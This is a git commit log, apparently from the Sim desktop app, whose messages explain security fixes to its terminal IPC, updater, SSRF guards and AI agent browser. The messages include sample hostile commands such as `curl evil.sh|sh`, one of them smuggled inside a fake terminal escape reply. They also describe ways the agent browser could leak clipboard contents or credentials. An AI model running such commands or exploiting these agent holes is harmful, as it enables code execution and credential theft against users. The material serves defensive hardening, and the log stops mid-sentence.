Commit Graph
5 Commits
Author SHA1 Message Date
Waleed 4f776b7a13 fix(desktop): fix 11 security findings from a deepsec scan of the desktop app (#6065)
* fix(desktop): gate terminal writes and user activation on real OS input

The `needsUserActivation` gate asked the renderer about
`navigator.userActivation` via `frame.executeJavaScript`, which evaluates in
the page's main world — the same world as the compromised page the gate exists
to stop, which need only redefine `navigator.userActivation` to pass it. The
channels with no native confirmation behind them (`browser-credentials:forget`,
`forget-all`, `browser-agent:clear-browsing-data`) had that as their only
protection, so a background script could wipe the saved-password vault.

`terminal:write` had no second gate at all. It is a `send` channel, and the
send branch ran only the origin and feature checks, so an XSS'd or hostile app
origin reached arbitrary command execution: `terminal:start` for an id, then
`write(id, 'curl evil.sh|sh\r')` — a raw PTY write submits on the trailing
`\r`. The tool-authorization binding covers `terminal:execute-tool` only.

Both now answer from the main process's own record of OS input. Chromium
delivers every input event to main before the renderer sees it and page script
cannot synthesize one, so unlike panel focus (`terminal:focused`, a
renderer-asserted claim the same attacker can set) it is a real boundary.
Passive pointer traffic is excluded — `mouseMove`/`mouseEnter`/`pointerMove`
arrive whenever the cursor rests over the window.

* fix(desktop): reclaim tmux run temp directories that outlive their wait window

`startRun` makes a temp directory per run holding the tee target and the status
file, and only its handle can remove it. `runInTmux` disposed the handle on the
`outcome.done` branch only — on the still-running path the handle was a local
that went out of scope, and nothing polls that run again (`read` captures the
pane instead). With a 30s default wait, every longer command leaked its
`/tmp/sim-tmux-run-*` directory for the life of the process while `tee` kept
appending the full output to it.

Handles for still-running commands are now held per terminal and reclaimed by
the terminal's own lifecycle: `retire`/`dispose` release them all, and a new run
on the same terminal first reaps any whose status file has since appeared. No
reaper timer — the new-run path is already doing run bookkeeping. Live runs are
left alone, since their tee is still writing there.

Not a security issue: the directories are 0700 in the per-user tmpdir and tmux
reaps the window itself. It is unbounded disk and inode growth.

* fix(desktop): contain sign-in handoff failures when no window is available

`handleCallback` awaited `deps.ensureMainWindow()` as its first statement with
no try/catch, and index.ts dispatches it fire-and-forget as
`void authFlow.handleCallback(callback)`. The wired `ensureMainWindow` throws
`Main window unavailable`, and main registers no `unhandledRejection` handler,
so a user who closed the window while signing in through their browser turned
the loopback callback into an unhandled rejection. `beginLoginHandoff` had the
same shape, so both are fixed rather than one.

Both entry points now resolve the window through a helper that records the
failure via the existing `handoff_redeem_fail` event and returns null, and the
two `void` dispatch sites carry a `.catch()` backstop for anything the flows do
not record themselves. Not attacker-triggerable: `onLogin` fires only after
`matchesPending()` validates the state that only the user's own browser holds.

* fix(desktop): validate manual-update download urls against the scheme allowlist

`buildManualEngine` regex-extracted `url:` values from the manifest served by
the configured origin and handed the first `.dmg`/`.zip` straight to
`shell.openExternal` — the only openExternal in non-test code that skipped
`openExternalSafe`, whose own docs state "Every openExternal in the app goes
through here". A hostile feed, or a hostile self-host origin the user was
tricked into configuring, could return `version: 999.0.0` plus
`url: smb://attacker/share/x.dmg` or `file:///…`; both pass the suffix test, so
a Download click handed an arbitrary scheme to the macOS URL handler, launching
a registered protocol handler instead of downloading.

Candidates are now filtered with `isSafeExternalUrl` at selection, so an
unusable url is never advertised as an available update at all, and the open
goes through `openExternalSafe` so the allowlist also holds at the sink.
Loopback http stays allowed because `feedUrlForOrigin` accepts an http origin,
so a self-host on localhost is legitimate.

Reachability is capped: `detectSelfUpdateCapability` selects the
signature-verifying electron-updater engine on Developer-ID builds, so the
manual engine runs only on ad-hoc-signed local/CI prerelease builds.

* fix(desktop): scope credential presence grants to the operation proven

`provenUntil` was keyed on credentialId alone, and `authorizeForSecret` set and
read it without reference to what the caller was about to do. `copyCredential`
puts the plaintext on the clipboard from inside main and returns a boolean;
`revealCredential` returns the string itself to the renderer. With one
undifferentiated grant, approving a native "Copy password?" prompt silently
authorized a plaintext reveal for the remaining 30s with no second prompt — the
OS prompt is the only human-in-the-loop control on plaintext egress, and its
label described something weaker than what it granted.

Grants now carry their operation and are compared with an ordering rather than
equality: reveal is the stronger claim, so a reveal grant still covers a later
copy. That is deliberate, not laxity — it preserves the behaviour AUTH_GRACE_MS
was designed for (the plaintext is already on screen, so re-prompting to put
that same string on the clipboard buys nothing). Only the weaker-implies-
stronger direction is closed.

`operation` is required rather than optional so the compiler names every call
site; it found both.

Not addressed, deliberately: the non-biometric fallback still uses
`defaultId: 1`, so a reflexive Enter confirms. That is a UX change and is left
for a decision rather than folded in here.

* fix(desktop): DNS-check agent subresources that are readable or execute

The agent partition's onBeforeRequest ran the resolving guard for mainFrame and
subFrame only; everything else fell to isBlockedRequestUrl, which sees literal
IPs and returns false for any hostname by design. A public name with a static
private A record therefore reached internal services from a page the agent was
steered to — no rebinding required. The vectors that matter are the ones whose
response comes back or runs: a WebSocket to an internal server reads data frames
cross-origin because such servers commonly ignore Origin, and a script or xhr
response executes in the page or is readable.

Subresources now take isBlockedSubresourceUrl, with the verdict cached per host
(30s TTL, bounded at 256 entries, oldest evicted) so this is not a lookup per
asset. Images and fonts keep the synchronous path: high volume, not readable
cross-origin, leaving the load/error timing oracle as the accepted residual.

The exemption is expressed as what skips the check, not what gets it, so a
resource type Chromium labels unexpectedly fails safe into the checked path —
fetch is `xhr` on some versions and `other` on others, and an allowlist that
missed the label in use would silently reopen the hole.

Resolver errors fail closed, matching checkAgentUrl, and that verdict is not
cached so a transient failure does not stick. The deliberate loopback carve-out
is unchanged — isBlockedAddress already exempts it on both paths.

* fix(desktop): close three credential-disclosure gaps in agent page functions

Closed shadow roots. activeElementSecrecy is the only gate the driver consults
before dispatching trusted CDP keystrokes, and it descended focus solely through
`active.shadowRoot` — null by design for a closed root, while focus inside one
retargets to the host, whose tagName is never INPUT. So a password field in a
closed root reported 'safe', and Tab crosses closed boundaries natively. Now
treated like a cross-origin frame. Detected by focusability rather than by tag:
attachShadow accepts plain div/span/section as well as custom elements, so a
tag test would miss half of them, whereas an element that is not focusable in
its own right cannot be activeElement unless focus was retargeted out of a
shadow tree.

Multi-token autocomplete. isSecretField compared the whole attribute against
'current-password'/'new-password', but the spec allows space-separated detail
tokens and WebAuthn recommends `current-password webauthn`. Those values fell
through on exactly the type=text credential fields where autocomplete is the
only signal. Now split into tokens, in all seven copies — the duplication is
required by the `String(fn)` serialization contract, so consolidating was not an
option.

OTP and payment values. Deliberately NOT added to isSecretField: that helper
also gates keystrokes, so folding them in would have stopped the agent
completing a checkout or an OTP prompt — work it is legitimately asked to do.
A separate predicate withholds only the value at the two emission sites, and the
field is still reported with its real tag so the agent can fill it.

* fix(desktop): hand the panel occlusion frame only to a user-driven renderer

capturePanelSnapshot sent a JPEG of the agent browser's current page to the app
renderer, which is content that renderer's own JS cannot otherwise read — the
view is a separate process composited over the window. A compromised renderer
can drive set-panel-bounds, panel-action navigate and set-panel-occluded itself,
so it could aim the shared agent browser at a site with a persisted session and
collect its pixels by script alone, bypassing the tool-call binding that guards
browser_screenshot for exactly this reason.

The frame is now withheld unless the main process has seen recent real input in
that renderer, which is what an overlay opening actually represents. The
flicker-prevention behaviour is untouched: an empty capture already returns
before the send while `finally` still runs the occlusion, so "occlude without a
placeholder" is a path the state machine already handles rather than a new one.

* fix(desktop): act on adversarial review of the security fixes

Six review agents went through the branch line by line. Several of the fixes
were wrong, incomplete, or worse than the finding they closed.

terminal:write was gated on the whole channel, which is a functional break, not
a fix. That channel carries xterm.js's entire upstream stream, and much of it is
not typing: the PTY solicits replies the terminal must answer unprompted — DSR
cursor position (p10k/starship emit it every prompt), device attributes, focus
reports set by tmux and vim. Now only a payload that can submit (one containing
a newline) needs input behind it. Also stated plainly in the code: this is a
mitigation. Text without a newline still lands in the line buffer where the
user's own Enter submits it, and closing that needs the interactive path off the
renderer surface, not a better gate.

The panel occlusion gate is reverted outright. Occlusion is driven by any
element marked data-native-surface-overlay, which includes tooltips (hover, and
hover is deliberately not "deliberate input") and toasts (no input at all), so
the common case regressed. Worse, the renderer only ever sets panelSnapshot and
never clears it, so withholding a frame shows the PREVIOUS overlay's frame — the
exact defect panel.test.ts was written to prevent — while the already-delivered
frame stays readable. Net negative on both axes.

The credential grant ordering is inverted to exact match. reveal was treated as
dominating copy, but copy publishes plaintext to the macOS pasteboard: readable
by every process, persisted by clipboard managers past the 30s clear, and synced
to other devices by Universal Clipboard. The operations are incomparable.

Update downloads are constrained to the release asset prefix, not just to https.
The feed rewrites every entry to github.com/simstudioai/sim/releases/download/,
so nothing legitimate is excluded — while scheme-only validation still admitted
an attacker-hosted DMG that the download dialog walks the user through
installing, which is worse than the protocol-handler launch originally fixed.
The loopback exemption is dropped with it: no legitimate asset is ever http.
State goes to 'error', not 'idle', so a blocked shell is not told it is current.

Subresource DNS verdicts cache the promise, not the boolean. Caching only the
result left every request arriving before the first lookup settled to start its
own, and dns.lookup is getaddrinfo on the four-slot libuv threadpool shared with
every fs call in main — a page naming hundreds of hosts could stall the settings
write and the credential vault.

Also: an eighth copy of the credential-token vocabulary in the browser preload
was missed by the original commit while its comment claimed parity, so fill went
blind to `current-password webauthn`; the OTP/payment readback zeroed valueLength
and told the agent a successful fill was still empty, inviting a doubled code;
tagName comparisons are upper-cased for XHTML; DIALOG/VIDEO/AUDIO/EMBED/OBJECT
are focusable and no longer report opaque; drags count as input; a backwards
clock step no longer satisfies a recency gate; and clearing cache or profile now
clears resolved-host verdicts too.

The closed-shadow residual is documented rather than closed: a host carrying
tabindex or contenteditable still reports safe, and refusing those would block
Enter and Space on ordinary <div tabindex="0"> buttons, since a closed root is
indistinguishable from no root at all.

* refactor(security): one DNS resolver for every SSRF guard, checking all addresses

Five independent `dns.lookup` bodies existed — four in apps/sim
(validateUrlWithDNS, the database-host check, MCP domain-check, 1Password
Connect) and one in apps/desktop's agent url-guard. The four in apps/sim were
copy-paste identical, and two properties diverged in ways that mattered:

They classified ONE address. `resolved.find(family === 4) ?? resolved[0]`
picked an address to pin and then judged only that one, so a host publishing
both a public and a private record passed whenever the public record sorted
first. That is record order, not policy, and validateUrlWithDNS alone is reached
from ~70 call sites. Now every address is classified and the IPv4-preferred one
is still what gets returned to pin — the pinning rationale (Happy Eyeballs
fallback is stripped, and a pinned IPv6 address hangs on IPv4-only egress) is
untouched.

They had no deadline. Only the desktop copy bounded the lookup, so a hung
resolver could hold an apps/sim request handler open indefinitely. The shared
helper carries the 5s deadline, the swallowed late rejection, and the always
cleared timer.

`resolveHostAddresses` lands in `@sim/security/dns` as its own subpath, so the
`node:dns` dependency reaches only the servers that import it — apps/realtime
pulls `@sim/security/compare` and nothing else, and the prune graph is unchanged
at 14 workspaces.

Two lookups deliberately stay as they are: `createSsrfGuardedLookup` is a
socket-connect `LookupFunction` that needs raw entries with their family and
already validates every address, and desktop's per-host verdict cache keeps its
own loopback policy on top of the shared resolver.

The localhost carve-out is tightened as a consequence: it applies only when
every record is loopback, so `localhost` that also resolves to the LAN no longer
rides it.

* fix(security): filter refused DNS records instead of failing the host

validateUrlWithDNS rejected a host outright when any resolved address was
private, while createSsrfGuardedLookup in the same file filters the private
entries and connects to what remains. Filtering is equally safe — you pin a
surviving public address — and rejecting broke a split-horizon resolver that
answers with a private record alongside the public one, on a path with ~70 call
sites and no operator opt-out. The pin is re-preferred over the surviving set so
it can never be an address the filter just refused.

Also from the review round: the browser preload's isPasswordField and
findIdentifierField now split autocomplete tokens like the agent guards they
claim parity with (a WebAuthn `current-password webauthn` field was invisible to
credential fill); the subresource verdict cache holds the promise rather than the
boolean, so the requests one page fires at a host share a lookup instead of each
queueing its own getaddrinfo on the four-slot libuv threadpool that main's fs
calls also use; trailing-dot hosts normalize to one cache entry; the resolver
carries a distinct DnsTimeoutError so an outage is not reported as a missing
host; and clearHostVerdictCache is wired into both the profile wipe and the
cache-clear path, since a resolved-host classification is browsing-trail data.

* fix(desktop): invert the terminal-write gate, and finish the XHTML normalization

Three defects from the second review round, two of them in the previous
round's corrections.

The tagName upper-casing was half-applied and made things worse. `focusableItself`
compared the normalized tag while the frame-descent branch thirty lines below
still compared raw `active.tagName`. In an XHTML document — where tagName is
lower-case for HTML elements — focus inside a CROSS-ORIGIN iframe therefore
passed `focusableItself` (tag === 'IFRAME'), skipped the frame branch
(active.tagName === 'iframe'), fell through, and returned 'safe': the verdict
that authorizes trusted CDP keystrokes. Before the correction the same page
returned 'opaque'. Now normalized once per loop body and used at every
comparison, in readActiveElementState too.

The submit gate enumerated the dangerous set, which is not a closed set. Besides
carriage return and newline, 0x04 hands a partial line straight to a
canonical-mode reader, and 0x0f is operate-and-get-next in bash and
accept-line-and-down-history in zsh — both execute the current line — and a
user's own inputrc or zle bindings can add more. Inverted: the replies the PTY
solicits are enumerated (DSR, DA, focus reports, mouse reports, DCS/OSC) and
everything else is gated, so a binding nobody thought of fails closed.

The residual was understated. The window is satisfied by any input in the
renderer — a keystroke in the chat, a scroll, a drag — not by the user's own
Enter, so a looped payload lands the moment they touch anything, and while they
type in the terminal it is open continuously. Said plainly now, with what
closing it would actually take.

Also: credential grants are keyed on credential AND operation, so exact match no
longer prompts three times for reveal → copy → reveal when each was already
proven; the panel.ts comment the revert deleted collaterally is restored, so the
file leaves this branch untouched; updater's release-asset helpers no longer sit
between feedUrlForOrigin's TSDoc and its function, and the asset path is a
constant rather than parsed per manifest entry; ipc.test.ts freezes the clock so
the recency windows cannot lapse mid-test on a loaded machine; and dead exports
(isReleaseAssetUrl, SecretOperation), a vestigial executeJavaScript test field,
and a shadowed loop binding are cleaned up.

* refactor(desktop): simplify what the security fixes added

Quality pass from four parallel reviews (reuse, simplification, efficiency,
altitude). No behavior change; every gate is unchanged.

Reuse. resolveHostAddresses now calls preferIpv4 instead of re-deriving the
IPv4-first rule inline — one 106-line file had two implementations of the rule
its own TSDoc says callers depend on. url-guard's three host-normalization sites
had two different rules (only one stripped a trailing dot); they share guardHost
now. os-auth's grace check gained the same backwards-clock guard input-activity
already had, since it is the same kind of security window. And a hand-rolled
IPv6 bracket strip in input-validation.server.ts now calls the
unwrapIpv6Brackets already imported at the top of that file.

Simplification. Credential grants are a nested Map rather than a composite
string key, which deletes grantKey, the NUL sentinel, and SECRET_OPERATIONS —
and makes revoke-by-credential a single delete, so a third operation added later
cannot be missed by a revoke that forgot to enumerate it. The 15-term
focusableItself chain is a local array. The 4-line token rationale was pasted
above seven required copies of a 3-line expression; it is stated once now, and
the duplicated isSensitiveValueField TSDoc likewise. PTY_REPLY is a labelled
pattern table rather than six alternations on one line. tagName is upper-cased
once per loop body instead of three times. A side-effecting .filter() is a loop.
senderHasUserGesture's TSDoc no longer documents the implementation it replaced.

Efficiency. The expired-first eviction sweep is removed: every entry gets the
same TTL and a refreshed host is re-inserted at the back, so insertion order IS
expiry order — the sweep could never find an entry the front eviction does not
already hold, and scanned all 256 on every insert to learn that. preferIpv4 uses
ipaddr.IPv4.isValid rather than isValid + parse, which parsed each address
twice. dispose() no longer copies the key set to then get and delete per key.

Also: validateDatabaseHost tests the allow-flag before scanning rather than
after, the blocked-address log line reports the address actually blocked rather
than an arbitrary record, and the preload's two autocomplete-token idioms became
one reader.

Deliberately not done, and why: moving PTY_REPLY into terminal/ and making the
channel gate a predicate (changes the dispatcher shape on both arms); a
consume-once submit gate (behavior change, needs a paste path); folding the
three-way request dispatch into one guardAgentRequest export; hoisting the
release-repo identity into packages/desktop-bridge, which is worth doing and
would make electron-builder.yml, update-feed.ts and updater.ts one fact instead
of three; a shared helper prelude in execInPage so isSecretField stops being
seven copies; and a CDP-sourced focus verdict so the driver stops trusting a
page-derived signal at all. The last three are the ones worth a follow-up.

* docs(desktop): correct comments that no longer match the code

Comment audit over the branch. ~75 lines removed, no rationale lost. Two of
these were actively misleading and are the reason the pass was worth running.

Three comments still described the terminal gate as newline-keyed after the
predicate was inverted to a reply allowlist, including one asserting "a raw
write only becomes command execution on the trailing \r" — which is exactly the
claim the inversion exists to refute, since 0x04 and 0x0f submit too. The flag
carried the same stale name and is now payloadNeedsDeliberateInput, since it
gates every payload that is not a solicited reply, not only submits.

A TSDoc block in the browser preload had been orphaned: the new
autocompleteTokens doc was inserted between isPasswordField and its own
comment, so the doc documented the wrong declaration.

The rest is duplication. The token-membership rationale had been collapsed to
six copies of a pointer at the wrong target — the module header explains the
duplication, not the token rule — so the pointers are gone and the rationale
stays where it is stated in full. The subresource-exemption reasoning was still
in three places; session.ts now points at the two url-guard TSDocs that own it.
The "every address is judged" reasoning was in four places when ResolvedHost
already documents it for every consumer. Also trimmed: a paragraph restating
RELEASE_ASSET_ORIGIN's own doc, the per-operation rationale repeated onto
AUTH_GRACE_MS, a PTY TSDoc enumerating what the inline labels already label, and
two lines inside one comment block that repeated each other.

Kept deliberately, and judged rather than skipped: the MITIGATION and RESIDUAL
notes, the String(fn) serialization contract in page-functions.ts's header, the
0x04/0x0f reasoning for running the allowlist the other way, the NTP-step and
double-callback notes, and the test comments explaining why a fixture is shaped
as it is. Those record decisions, which is what this repo comments.

* fix(desktop): stop a command riding inside a fake PTY reply, and fail closed in XHTML

Both findings are in this PR's own hardening.

The reply allowlist accepted a control byte in its body. DCS and OSC used
`[\s\S]*?` interiors, so a hostile renderer could wrap a whole command and its
submit inside a sequence shaped like a reply — `ESC ] 0;x CR curl evil.sh|sh CR
BEL` — and be waved through as machine-generated, skipping the deliberate-input
gate entirely and reopening the path the gate exists to close. Bodies are
printable-only now: a real DCS or OSC reply carries text terminated by ST or BEL
and never a control byte. X10 mouse is bounded the same way, since its three
bytes are offset by 32 and a control byte there is never legitimate either.

isSecretField compared tagName raw in all seven copies, and
isSensitiveValueField in both of its. tagName is lower-case for HTML elements in
an XHTML document, so every credential field there read as ordinary — the value
redaction and the keystroke refusal both failed open, on exactly the pages the
predicate exists for. The earlier round upper-cased the frame and focusability
comparisons and missed these nine. Normalized now, with the rule stated once in
the module header rather than nine times.

Both are covered by tests that fail against the previous form: a smuggled
command in each of the three affected patterns, a genuine reply of each still
forwarded, and a lower-case-tagName password field refused for both typing and
snapshot disclosure.

* fix(desktop): paste from main, and stop a reclaimed run dir printing into tmux

Fixes the two behavioural regressions rather than shipping them documented.

The context-menu paste could be silently dropped. It read the clipboard with
`await navigator.clipboard.readText()` and then wrote the text, so the write
landed after an await — and if that read outran the input-recency window (a
permission prompt, a slow read) the terminal-write gate refused it with no error
and no log, on an action the user had just asked for.

Reading in main removes the window entirely, and is the direction Electron
itself took: the `clipboard` module was removed from renderers under RFC 0019 so
page content cannot reach the clipboard, and the documented pattern is to use it
in the main process behind a narrow contextBridge method. So `terminal:paste` is
a gated invoke channel that reads the clipboard itself. It needs a real gesture
(the Paste click), but not the write gate — the bytes are the user's clipboard
rather than the caller's, so a compromised renderer can only replay what was
already copied instead of choosing it. `paste` is optional on the bridge and the
renderer falls back to the old path, so a shell that predates it is unaffected.

The tmux status write is silenced. Closing a terminal tab reclaims the run's
temp dir while the command keeps going in tmux. `tee` is unaffected — POSIX lets
it write on to the unlinked inode, and the space is reclaimed when it exits — but
the command's trailing `printf > .../status` then failed into the pipeline and
printed `No such file or directory` into the user's own tmux window, minutes
after they closed the tab. `2>/dev/null` on that one redirect keeps the reclaim
and drops the noise.
2026-07-29 16:16:28 -07:00
1d64b92b41 feat(desktop): desktop app (#5998)
* top on a desk

* fix auth stuff

* intermediate state

* update

* local filesystem fixes

* Huge

* fix banner

* ci: disable desktop release + e2e in CI for now

The desktop-release reusable-workflow call requested contents: write,
which ci.yml's permission grant (contents: read) rejects — invalidating
the whole CI workflow. Desktop is tested locally for now; signed builds
remain available manually via desktop-release.yml workflow_dispatch, and
desktop e2e via its own workflow_dispatch.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* ci: exempt electron from the release-age gate (time-boxed)

electron@43.1.1 (published 2026-07-14) is exact-pinned for the desktop
shell and blocked by minimumReleaseAge until 2026-07-21. Excluded with a
drop-after date, following the vetted-typescript precedent. Verified the
rest of the desktop dependency set clears the 7-day gate.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* desktop: brand app icon (packaged + dev Dock)

- build/icon.icns regenerated from public/logo/primary/large.png on the
  Apple icon grid (824px body, r=185.4, centered on a transparent 1024
  canvas), compiled with iconutil
- dev runs set the same mark via app.dock.setIcon (static/dock-icon.png) —
  unpackaged Electron otherwise shows its default atom icon
- un-ignore apps/desktop/build: it holds electron-builder INPUTS (icon,
  entitlements), which the /apps/**/build output rule was swallowing —
  the icns and entitlements were never actually tracked
- revert resetAdHocDarwinSignature fuse: it corrupts the packaged binary
  signature (app killed at launch on arm64); the local ad-hoc deep-sign
  flow doesn't need it

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* desktop: switch app icon to the b&w brand mark

White rounded tile with the black sim wordmark (from
public/logo/b&w/large.png), replacing the purple variant. Same Apple
icon grid geometry (824px body, r=185.4, 1024 canvas).

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* fix banner

* Fix

* clean up launcher

* fix oauth

* update desktop app

* Improve browser use and consolidate desktop app

* Desktop app ui cleanup

* Updates

* Updates

* remove dev tool option

* Browser updates

* Fix electron bug

* Browser shortcuts

* lifecycle

* feat(desktop): SSRF hardening + shared @sim/security/ssrf (re-home of #5763) (#5784)

* feat: re-home @sim/security/ssrf + sim SSRF dedup onto dev (clean core)

* feat(desktop): re-integrate SSRF guard + hardening onto rewritten dev

Re-applies the browser-agent SSRF guard and hardening onto dev's evolved
desktop files (dev rewrote session/driver/handoff/index and split out
errors.ts/keyboard.ts):

- session.ts: agent-partition onBeforeRequest is the SSRF choke point —
  DNS-resolving check (fail-closed) for document navigations, synchronous
  literal-IP backstop for subresources.
- driver.ts: browser_navigate/browser_open_tab validate via checkAgentUrl for a
  clean model error; also adopt shared sleep/getErrorMessage and drop the local
  reimplementations + banner separators.
- index.ts: local-only crashReporter (native minidumps, no upload) + CSP
  fallback wired into the app session.
- window.ts: record the crash-dump dir on renderer_gone.
- config.ts: drop the local LOCAL_HOSTNAMES set for the shared isLoopbackHostname
  (also removes the dead bare '::1').
- cdp.ts: per-WebContents callbacks so a background tab's events reach its own
  driver.
- updater.ts: the manual check now surfaces network/manifest failures instead of
  silently swallowing them.
- README: correct the App Sandbox / security-scoped-bookmark note.
- electron-mock: webRequest.onBeforeRequest + crashReporter stubs.
- api-validation: annotate dev's validated-envelope double-cast; bump the
  route-count baseline 964→965 for dev's already-merged route (ratchets stay
  tight; non-Zod and double-cast at baseline).

Skipped as moot (dev already did them independently): launcher isVisible removal,
decideStartRoute param drop, local-filesystem clear() removal.

* chore(desktop): biome format install-local.ts (pre-existing dev lint failure)

* refactor: apply audit cleanup (reuse + simplify)

- domain-check: drop the redundant isIpLiteral guard (isLoopbackIp already
  validates and returns false for non-literals).
- session.ts: use shared getErrorMessage instead of the local error ternary
  (the file already imports it).
- tray.ts: use shared sleep() instead of a hand-rolled setTimeout promise.
- updater.ts: distinguish the synchronous-throw log from the async-rejection
  log on the manual update check.

* refactor: /simplify pass + review fixes

- url-guard: bound the SSRF dns.lookup with a 5s deadline (fails closed on
  timeout) so a slow/hung resolver can't suspend the check and the
  onBeforeRequest callback indefinitely (Greptile P2); + test.
- Finish the reuse consolidation the earlier pass missed: session.ts second
  error ternary → getErrorMessage; the bracket-strip idiom → unwrapIpv6Brackets
  in input-validation.ts, input-validation.server.ts (×2), onepassword/utils.ts
  (fixes the check:utils banned-pattern CI failure).
- driver: document why the tool-level checkAgentUrl coexists with the
  onBeforeRequest enforcement seam (clean model error; loadURL rejection is
  swallowed).

* fix(desktop): swallow late DNS rejection after the SSRF lookup timeout (Cursor)

* refactor: split pure host helpers into @sim/security/hostnames (ipaddr-free) (#5787)

unwrapIpv6Brackets + isLoopbackHostname move to a new ipaddr-free sub-export so
client code can share them without pulling ipaddr.js into the browser bundle.
ssrf.ts re-exports both, so its server/desktop consumers are unchanged. This
eliminates the duplicate isLoopbackHostname in apps/sim/lib/core/utils/urls.ts:
urls.ts and its three client importers (mcp queries, oauth probe, oauth
url-validation) now use the single shared definition.

* Desktop app fullscreen mode

* fix(copilot): report closed browser session as a distinct terminal tool error

A dead agent browser session used to answer every browser tool with an
indistinguishable generic ~30s IPC timeout, which the model retried
indefinitely (one turn: 59 minutes of failing browser_snapshot calls).

- When the desktop app has reported the session closed, page-dependent
  browser tools fail immediately with an explicit session-closed message
  (and sessionClosed: true in the result data) instead of burning the full
  timeout per call. browser_navigate / browser_open_tab / browser_list_tabs
  still run, since they can start a new session.
- A failure whose session died mid-call (e.g. during a takeover) gets the
  same tag appended, so the model learns the terminal cause rather than
  seeing a plain timeout.

Companion to mothership's tool_failure_loop circuit breaker.

* fix(desktop): route Cmd+W to focused browser tabs

* fix(desktop): reserve macOS title bar safe area

* fix(desktop): limit title bar safe area to login

* fix install script

* feat(desktop): improve local folder settings

* feat(desktop): harden local capabilities and window chrome

* fix(invitations): live refetches

* fix(desktop): make manual update checks use updater state

* fix(desktop): review fixes — OAuth error handling, query freshness, invitations

Findings from an end-to-end review of the desktop work, fixed and verified.

OAuth connect/login handoff:
- Add a friendly /oauth-error landing page + onAPIError.errorURL so provider
  Cancel/Deny (which Better Auth redirects before the flow state is parsed)
  no longer dead-ends on a 404; re-initiating supersedes the idle loopback.
- Stop a post-consent failure from reporting success (drop the baked-in
  errorCallbackURL param that collided with Better Auth's appended code;
  coerce an array error defensively on the complete page).
- Guard the desktop connect listener with the same context-age check the web
  routers use, so an abandoned flow can't mislabel a later completion.
- Clear an orphaned pending handoff when a loopback re-bind fails.

Query freshness (desktop refetchOnWindowFocus):
- Pin refetchOnWindowFocus off on queries that seed editable forms
  (environment/secrets, credential detail, schedules) so a background focus
  refetch can't drop an unsaved draft, and on the useWorkflowStates fan-out so
  returning to a large table doesn't fire N heavy envelope fetches. All no-ops
  on web (default already false).

Invitations (in-app pending invitations):
- Map accept/decline failures to friendly copy instead of raw machine codes.
- Invalidate subscription + refresh session on accept (parity with the email
  path); reconcile the list on failure (onSettled) so dead rows drop.
- Gate the modal's query on open so it no longer fetches on every app load.

CI:
- Wrap the latest-mac.yml update-feed route in withRouteHandler and allowlist
  it as a non-boundary route (input-less, YAML) so the contract audit passes.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* updates

* fix(desktop): use workflow colors for environment icons

* fix(desktop): use orange for dev icon border

* fix(login): change one time token generation to GET

* improvement(desktop): reveal local folders from settings

Local-folder rows rendered their glyph at 20px inside the bordered
credential tile — chrome meant for brand and logo icons — above a static
subtitle that repeated what the section already said. The row now shows a
plain 14px folder icon and the folder name alone.

Clicking a row reveals the folder in the OS file manager through a new
reveal_mount bridge op, which resolves the opaque localfs URI to a live
grant and requires an active user gesture, matching the other grant
mutations. The absolute host path still never crosses the bridge.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01C54QHj4WPV777Fq2yRwkcb

* improvement(desktop): row actions menu for folder grants, larger version text

Revoke moves from an always-visible chip into the canonical RowActionsMenu,
matching the MCP server rows. The version value moves off text-caption onto
text-sm — it was rendering at the subtitle size, which also shrank the
"x -> y on restart" line that matters most.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01C54QHj4WPV777Fq2yRwkcb

* feat(desktop): improve browser tab usability

* fix(desktop): thicken environment icon borders

* fix(desktop): strengthen environment icon borders

* feat(desktop): support multiple windows and harden the agent browser

Sim can now open many full windows in one process. The embedded browser is
still a single native surface, so exactly one window owns it at a time.
Ownership transfers only to the focused window: without that rule, two windows
both showing the browser reclaim it on every bounds heartbeat and re-parent the
native view back and forth roughly once a second while Sim sits in the
background, where no window is focused. A destroyed owner is now forgotten
rather than left rejecting updates from the window actually on screen, and a
closing window's release is honoured even though Electron destroys it before
emitting `closed` — previously that release was dropped and the next layout
could re-parent the browser onto a window that never asked for it.

The agent's password boundary is now enforced rather than assumed. It was
treated as settled but had four ways through: `browser_press_key` sent trusted
CDP keystrokes to whatever held focus, `clickElement` focused credential fields,
`readActiveElementState` returned a preview of any focused value, and snapshots
printed the contents of revealed password fields. Detection also used
`instanceof HTMLInputElement`, which is realm-bound and returned false for
inputs inside same-origin iframes — the nested login forms that need it most.
Detection now matches on tagName/type/autocomplete, the keystroke guard runs in
the driver where trusted CDP input is visible, and typing re-checks the real
target before inserting, since login forms advance focus between the username
and password steps.

Signing out clears the embedded browser's profile. Its cookies, cache, pinned
tabs, browsing trail, and reopen list all survived sign-out, so the next account
on the machine inherited the previous user's live sessions.

Partition hardening is keyed per session instead of a process-wide flag, which
would have left a second partition with no permission handlers, no SSRF
filtering, and no download blocking — silently, and still type-checking.

Adds the first tests for page-functions.ts, including a serialization contract
check: those functions ship to the page as String(fn), so a reference to module
scope passes every other test and fails only against a real page.

* fix(desktop): close clipboard, glob DoS, and authorization holes

Found by a full audit of the desktop app against origin/staging. Each of
these was measured or asserted rather than reasoned about.

The agent could read the user's system clipboard. `browser_press_key('Cmd+V')`
pasted it into a focused field and the next `browser_snapshot` returned it as
an ordinary `value` — snapshots redact password fields, not pasted content, and
clipboards routinely hold a password copied out of a manager. The credential
guard added earlier did not catch it: `insertedTextFor` returns undefined
whenever `meta` is set, so `Cmd+V` was classified as not text-inserting.
`Control+V` reached the same place because the macOS normalizer rewrites it.
Clipboard combos are now refused before dispatch rather than by withholding the
CDP `commands` array, since off macOS these are Blink-native and a key event
alone still performs them. Copy and cut go too — they clobber the user's
clipboard as a side effect.

A glob pattern could freeze the whole app. Micromatch compiles to a
backtracking regex whose cost is exponential in wildcard count: measured
against a single 46-character path with the options this code passes, ten
wildcards took 2.7s and twelve took 43s, once per scanned entry, in one
synchronous call that the surrounding abort checks never get to interrupt. That
is the main process, so every window, the menu bar and the tray freeze with
Force Quit as the only recourse, and the pattern is model-supplied. `safeRegex`
